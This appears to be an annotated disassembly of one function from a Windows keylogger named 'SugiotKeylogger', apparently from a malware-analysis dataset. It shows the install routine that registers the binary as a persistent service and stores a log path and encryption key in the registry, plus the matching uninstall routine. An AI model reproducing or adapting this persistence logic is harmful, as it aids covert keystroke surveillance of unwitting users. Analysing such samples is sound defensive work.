Function at 0x1400013d0
Capabilities:
Create service
Delete registry key
Delete service
Modify service
Persist via windows service
Set registry value
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x2e0
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
cmp ecx, 1
jle 0x140001476
mov r9, qword [rdx + 8]
lea r10, str._install
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
movzx eax, word [r9 + r8*2 + 2]
cmp ax, word [r10 + r8*2 + 2]
jne 0x140001448
add r8, 2
cmp r8, 9
je 0x1400014e2
movzx eax, word [r9 + r8*2]
cmp ax, word [r10 + r8*2]
je 0x140001420
lea rcx, str._uninstall
nop
movzx eax, word [r9 + rbx*2 + 2]
cmp ax, word [rcx + rbx*2 + 2]
jne 0x140001476
add rbx, 2
cmp rbx, 0xb
je 0x140001704
movzx eax, word [r9 + rbx*2]
cmp ax, word [rcx + rbx*2]
je 0x140001450
xor edi, edi
lea rax, [0x1400017f0]
lea rsi, str.SugiotKeylogger
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
xor eax, eax
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.140004890
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
cmp ecx, 6
jne 0x140001448
mov rax, qword [rdx + 0x10]
cmp word [rax], 0x2d
jne 0x140001448
cmp word [rax + 2], 0x66
jne 0x140001448
cmp word [rax + 4], 0
jne 0x140001448
mov rax, qword [rdx + 0x20]
cmp word [rax], 0x2d
jne 0x140001448
cmp word [rax + 2], 0x70
jne 0x140001448
cmp word [rax + 4], 0
jne 0x140001448
mov rbp, qword [rdx + 0x28]
xor ecx, ecx
mov r14, qword [rdx + 0x18]
mov r8d, 2
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r15, rax
test rax, rax
je 0x14000171c
xor edi, edi
lea rax, str.C:Users_roy99_source_reposSugiotKeyloggerx64ReleaseSugiotKeylogger.exe
mov qword [rsp + 0x60], rdi
lea rsi, str.SugiotKeylogger
mov qword [rsp + 0x58], rdi
mov r9d, 0xf01ff
mov qword [rsp + 0x50], rdi
mov r8, rsi
mov qword [rsp + 0x48], rdi
mov rdx, rsi
mov qword [rsp + 0x40], rdi
mov rcx, r15
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov r12, rax
test rax, rax
jne 0x1400015dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateService_failed___d__n
call fcn.1400010f0
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400014b4
lea rax, str.Key_Logging_Blue_Team_Service
mov edx, 1
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], rax
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov r9, rsi
lea r8, str.SYSTEMCurrentControlSetServices_s
mov edx, 0x104
lea rcx, [rsp + 0xc0]
call fcn.140001090
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400016e1
mov rax, rbx
nop dword [rax]
cmp word [r14 + rax*2 + 2], di
lea rax, [rax + 1]
jne 0x140001660
mov rcx, qword [rsp + 0x70]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, str.LogFilePath
mov r9d, 1
mov qword [rsp + 0x20], r14
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop word [rax + rax]
cmp word [rbp + rbx*2 + 2], di
lea rbx, [rbx + 1]
jne 0x1400016a0
mov rcx, qword [rsp + 0x70]
lea ebx, [rbx*2 + 2]
mov dword [rsp + 0x28], ebx
lea rdx, str.EncryptionKey
mov r9d, 1
mov qword [rsp + 0x20], rbp
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.Service_installed_successfully_n
call fcn.1400010f0
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400014b4
xor edx, edx
xor ecx, ecx
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140001735
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenSCManager_failed___d__n
call fcn.1400010f0
jmp 0x1400014b4
lea rsi, str.SugiotKeylogger
mov r8d, 0x10020
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x140001778
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenService_failed___d__n
call fcn.1400010f0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400014b4
lea r8, [rsp + 0x80]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov r9, rsi
lea r8, str.SYSTEMCurrentControlSetServices_s
mov edx, 0x104
lea rcx, [rsp + 0xc0]
call fcn.140001090
lea rdx, [rsp + 0xc0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea rcx, str.Service_uninstalled_successfully_n
call fcn.1400010f0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400014b4